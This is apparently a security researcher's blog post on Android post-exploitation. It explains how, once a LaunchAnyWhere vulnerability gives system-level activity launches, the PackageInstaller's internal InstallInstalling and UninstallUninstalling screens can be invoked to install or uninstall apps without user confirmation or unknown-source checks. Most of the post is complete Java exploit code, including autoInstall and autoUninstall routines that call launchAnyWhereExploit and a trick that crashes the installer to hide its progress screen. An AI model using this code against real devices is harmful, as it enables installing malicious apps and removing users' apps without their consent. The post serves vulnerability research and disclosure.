Research on Invoking InstallInstalling


Preface

For the exploitation of the LaunchAnyWhere vulnerability, the traditional approach is to convert the system uid FileProvider to arbitrary file read/write permissions with system_app privileges. Unfortunately, Android has mitigation measures here, which do not allow system and root uids to arbitrarily grant URI permissions to other uids. There have been cases where manufacturers opened loopholes in this area, only to be bypassed by security researchers. For example, the CVE-2023-21474 I reported to Samsung can still be exploited after the fix of AOSP Nday CVE-2022-20223. However, such vulnerabilities have gradually been fixed, so for the LaunchAnyWhere vulnerability, we need to think of other exploitation methods.

This article will not discuss any pre-existing LaunchAnyWhere vulnerabilities, but only how to use InstallInstalling to achieve automatic installation after implementing LaunchAnyWhere.

InstallInstalling

In addition to using silent installation permissions to install applications, other apps on Android can only install applications through PackageInstaller. The principle is to first call com.android.packageinstaller.InstallStart, which will call two other Activities to copy the apk file from the caller’s FileProvider to the system, then jump to com.android.packageinstaller.PackageInstallerActivity for user confirmation. After the user confirms, com.android.packageinstaller.InstallInstalling is called for installation, and finally com.android.packageinstaller.InstallSuccess is called to display the installation success screen, or com.android.packageinstaller.InstallFailed if the installation fails. The Manifest definition of InstallInstalling is as follows:

<activity android:name=".InstallInstalling" android:exported="false" />

Now that we can implement LaunchAnyWhere, can we directly call com.android.packageinstaller.InstallInstalling to bypass the unknown source permission and user interaction, and directly achieve automatic installation? The answer is yes. After reading the code, it is found that the previous page of InstallInstalling is PackageInstallerActivity. We only need to construct parameters in the same way as InstallStaging and directly call InstallInstalling to achieve this. Under normal circumstances, in PackageInstallerActivity, after the user clicks the install button, the code to call InstallInstalling is as follows:

private void startInstall() {
    String installerPackageName = getIntent().getStringExtra(
            Intent.EXTRA_INSTALLER_PACKAGE_NAME);
    int stagedSessionId = getIntent().getIntExtra(EXTRA_STAGED_SESSION_ID, 0);

    // Start subactivity to actually install the application
    Intent newIntent = new Intent();
    newIntent.putExtra(PackageUtil.INTENT_ATTR_APPLICATION_INFO,
            mPkgInfo.applicationInfo);
    newIntent.setData(mPackageURI);
    newIntent.setClass(this, InstallInstalling.class);
    if (mOriginatingURI != null) {
        newIntent.putExtra(Intent.EXTRA_ORIGINATING_URI, mOriginatingURI);
    }
    if (mReferrerURI != null) {
        newIntent.putExtra(Intent.EXTRA_REFERRER, mReferrerURI);
    }
    if (mOriginatingUid != Process.INVALID_UID) {
        newIntent.putExtra(Intent.EXTRA_ORIGINATING_UID, mOriginatingUid);
    }
    if (installerPackageName != null) {
        newIntent.putExtra(Intent.EXTRA_INSTALLER_PACKAGE_NAME,
                installerPackageName);
    }
    if (getIntent().getBooleanExtra(Intent.EXTRA_RETURN_RESULT, false)) {
        newIntent.putExtra(Intent.EXTRA_RETURN_RESULT, true);
    }
    if (stagedSessionId > 0) {
        newIntent.putExtra(EXTRA_STAGED_SESSION_ID, stagedSessionId);
    }
    if (mAppSnippet != null) {
        newIntent.putExtra(EXTRA_APP_SNIPPET, mAppSnippet);
    }
    newIntent.addFlags(Intent.FLAG_ACTIVITY_FORWARD_RESULT);
    if (mLocalLOGV) Log.i(TAG, "downloaded app uri=" + mPackageURI);
    startActivity(newIntent);
    finish();
}

The key parameters here are only EXTRA_STAGED_SESSION_ID, INTENT_ATTR_APPLICATION_INFO, and mPackageURI. The former requires us to open a PackageInstaller session and obtain the sessionId to pass in. The second requires us to call getPackageArchiveInfo to parse the installation package information and obtain the ApplicationInfo object to pass in. As for mPackageURI, according to the code, a file scheme is needed, which is somewhat difficult in Android 11 and above, because our application can no longer access the sdcard public storage, and cannot directly share files in its private directory through the file scheme. The original logic here is actually that PackageInstaller first reads the file from the caller’s FileProvider in InstallStaging and copies it to its directory, then obtains a file scheme here. We must find a way to construct a file scheme for PackageInstaller.

MediaStore Writing to Download Directory

To construct a file scheme, we can choose not to adapt to sandbox storage and directly apply for traditional storage permissions (READ_EXTERNAL_STORAGE), but I think asking users for permissions is not perfect. Here I think of a point: Android 10 and above can use MediaStore to write files to the download directory without any permissions:

public static void copyFileToDownload(Context context, File source,
                                      String name, String mineType) throws IOException {
    ContentValues values = new ContentValues();
    values.put(MediaStore.MediaColumns.DISPLAY_NAME, name);
    values.put(MediaStore.MediaColumns.MIME_TYPE, mineType);
    values.put(MediaStore.MediaColumns.RELATIVE_PATH, Environment.DIRECTORY_DOWNLOADS);

    Uri uri = context.getContentResolver()
            .insert(MediaStore.Downloads.EXTERNAL_CONTENT_URI, values);
    if (uri != null) {
        FileInputStream fis = new FileInputStream(source);
        OutputStream os = context.getContentResolver().openOutputStream(uri);
        if (os == null) {
            Log.e(TAG, "openOutputStream failed.");
            return;
        }
        FileUtils.copy(fis, os);
        os.close();
        fis.close();
    } else {
        Log.e(TAG, "Failed to create file");
    }
}

Then manually construct a file scheme and pass it to PackageInstaller:

File apkFileInDownload = new File(Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOWNLOADS), apkFile.getName());
//...
installingIntent.setData(Uri.fromFile(apkFileInDownload));

Normally, on Android 7.0 and above, if the data field uses the file scheme, a FileUriExposedException will be thrown when calling startActivity, but here because it is the system uid that starts the page in the end, it will not be affected by FileUriExposedException.

Implementation of Automatic Installation

So far, we can call InstallInstalling to complete the task. However, I found that in Android 14, if INTENT_ATTR_APPLICATION_INFO is not passed in, InstallInstalling will crash because it cannot parse the application information after submitting the PackageInstaller session, thus achieving hidden installation (the UI flashes by, not completely silent). Of course, if this parameter is passed normally, the installation page will be displayed normally until the installation is completed:

if (ignoreInstalling) {
    installingIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK |
            Intent.FLAG_ACTIVITY_NO_ANIMATION);
} else {
    // Need to parse an ApplicationInfo for InstallInstalling in the required way
    // If this parameter is not passed, InstallInstalling will crash after submitting the installation Session, achieving the effect of not displaying the installation progress.
    PackageInfo packageInfo = context.getPackageManager()
            .getPackageArchiveInfo(apkFile.getAbsolutePath(), PackageManager.GET_PERMISSIONS);
    if (packageInfo == null) {
        Log.e(TAG, "getPackageArchiveInfo returns null, fail to silent install.");
        return;
    }
    installingIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
    installingIntent.putExtra("com.android.packageinstaller.applicationInfo",
            packageInfo.applicationInfo);
}

[Update] The code logic has changed starting from Android 15, and this parameter must be present, otherwise the subsequent installation process cannot proceed.

Implementation of Automatic Uninstallation

In addition to InstallInstalling, automatic uninstallation can also be achieved through UninstallUninstalling, with a similar principle. Here, an ApplicationInfo needs to be constructed and passed in:

Intent uninstallingIntent = new Intent();

uninstallingIntent.setClassName(Constants.PACKAGE_INSTALLER_PKG,
        Constants.PACKAGE_INSTALLER_PKG + ".UninstallUninstalling");
ApplicationInfo applicationInfo = null;
try {
    applicationInfo = context.getPackageManager()
            .getApplicationInfo(packageName, 0);
} catch (PackageManager.NameNotFoundException e) {
    Log.e(TAG, "NameNotFoundException, failed to uninstall.", e);
    return;
}

uninstallingIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
uninstallingIntent.putExtra("com.android.packageinstaller.applicationInfo",
        applicationInfo);
uninstallingIntent.putExtra("android.content.pm.extra.CALLBACK", (Parcelable) null);
uninstallingIntent.putExtra("com.android.packageinstaller.extra.APP_LABEL",
        applicationInfo.name);
uninstallingIntent.putExtra("android.intent.extra.UNINSTALL_ALL_USERS", true);
uninstallingIntent.putExtra("com.android.packageinstaller.extra.KEEP_DATA", false);
uninstallingIntent.putExtra("android.intent.extra.USER", Process.myUserHandle());
uninstallingIntent.putExtra("android.content.pm.extra.DELETE_FLAGS", 0);

Then the application can be uninstalled silently.

Complete Code

public static void autoInstall(Context context, File apkFile, boolean ignoreInstalling) throws IOException {
    if (!apkFile.exists() || !apkFile.getName().endsWith(".apk")) {
        Log.e(TAG, "Must use an apk file to silent install.");
        return;
    }
    // Open PackageInstaller session
    PackageInstaller pi = context.getPackageManager().getPackageInstaller();
    PackageInstaller.SessionParams params =
            new PackageInstaller.SessionParams(PackageInstaller.SessionParams.MODE_FULL_INSTALL);
    int sessionId = pi.createSession(params);
    PackageInstaller.Session session = pi.openSession(sessionId);
    // Write apk to session
    OutputStream os = session.openWrite("package", 0, -1);
    FileInputStream fis = new FileInputStream(apkFile);
    byte[] buffer = new byte[4096];
    for (int n; (n = fis.read(buffer)) > 0;) {
        os.write(buffer, 0, n);
    }
    fis.close();
    os.flush();
    os.close();
    // Copy file to download directory
    // Will duplicate if the file exists
    Android.copyFileToDownload(context, apkFile, apkFile.getName(),
            "application/vnd.android.package-archive");
    // When passing to InstallInstalling, it needs to be a file uri
    // Because it is system_server that executes startActivityAsUser later, it will not be affected by FileUriExposedException
    File apkFileInDownload = new File(Environment
            .getExternalStoragePublicDirectory(Environment.DIRECTORY_DOWNLOADS), apkFile.getName());
    // 构造调用InstallInstalling的Intent
    Intent installingIntent = new Intent();
    installingIntent.setClassName(Constants.PACKAGE_INSTALLER_PKG,
            Constants.PACKAGE_INSTALLER_PKG + ".NewInstallInstalling");
    installingIntent.putExtra("EXTRA_STAGED_SESSION_ID", sessionId);
    installingIntent.setData(Uri.fromFile(apkFileInDownload));
    if (ignoreInstalling) {
        installingIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK |
                Intent.FLAG_ACTIVITY_NO_ANIMATION);
    } else {
        // If this parameter is not passed, InstallInstalling will crash after submitting the installation Session, achieving the effect of not displaying the installation progress.
        PackageInfo packageInfo = context.getPackageManager()
                .getPackageArchiveInfo(apkFile.getAbsolutePath(), PackageManager.GET_PERMISSIONS);
        if (packageInfo == null) {
            Log.e(TAG, "getPackageArchiveInfo returns null, failed to auto install.");
            return;
        }
        installingIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
        installingIntent.putExtra("com.android.packageinstaller.applicationInfo",
                packageInfo.applicationInfo);
    }
    // exploit system!
    launchAnyWhereExploit(Constants.PACKAGE_INSTALLER_PKG,
            installingIntent, false);
}

public static void autoInstall(Context context, String asset, boolean ignoreInstalling) throws IOException {
    File apkFile = new File(context.getCacheDir(), asset);
    Android.copyAsset(context, asset, apkFile);
    autoInstall(context, apkFile, ignoreInstalling);
}

public static void autoInstallAsync(Context context) {
    Thread installThread = new Thread(() -> {
        try {
            autoInstall(context, "test.apk", false);
        } catch (IOException e) {
            Log.e(TAG, "autoInstallAsync IOException", e);
        }
    });
    installThread.setName("AutoInstallThread");
    installThread.setDaemon(true);
    installThread.start();
}

public static void autoUninstall(Context context, String packageName) {
    if (configFreeformEnabled(Constants.PACKAGE_INSTALLER_PKG) != 1) {
        Log.e(TAG, "configFreeformEnabled failed, check previous log for reason.");
        return;
    }

    // Construct Intent to call UninstallUninstalling
    Intent uninstallingIntent = new Intent();
    uninstallingIntent.setClassName(Constants.PACKAGE_INSTALLER_PKG,
            Constants.PACKAGE_INSTALLER_PKG + ".UninstallUninstalling");
    ApplicationInfo applicationInfo = null;
    try {
        applicationInfo = context.getPackageManager()
                .getApplicationInfo(packageName, 0);
    } catch (PackageManager.NameNotFoundException e) {
        Log.e(TAG, "NameNotFoundException, failed to uninstall.", e);
        return;
    }

    uninstallingIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
    uninstallingIntent.putExtra("com.android.packageinstaller.applicationInfo",
            applicationInfo);
    uninstallingIntent.putExtra("android.content.pm.extra.CALLBACK", (Parcelable) null);
    uninstallingIntent.putExtra("com.android.packageinstaller.extra.APP_LABEL",
            applicationInfo.name);
    uninstallingIntent.putExtra("android.intent.extra.UNINSTALL_ALL_USERS", false);
    uninstallingIntent.putExtra("com.android.packageinstaller.extra.KEEP_DATA", false);
    uninstallingIntent.putExtra("android.intent.extra.USER", Process.myUserHandle());
    uninstallingIntent.putExtra("android.content.pm.extra.DELETE_FLAGS", 0);

    // exploit system!
    launchAnyWhereExploit(Constants.PACKAGE_INSTALLER_PKG,
            uninstallingIntent, false);
}

总结

This article introduces the calling methods of InstallInstalling and UninstallUninstalling, which can be used for post-exploitation of the LaunchAnyWhere vulnerability to bypass the manufacturer’s lengthy lock screen password and even real-name checks, and directly install an application. Because these operations will have an interface and are perceivable by users, they cannot be used for completely silent installation. This article is only for technical exchange, and please do not use it for illegal purposes.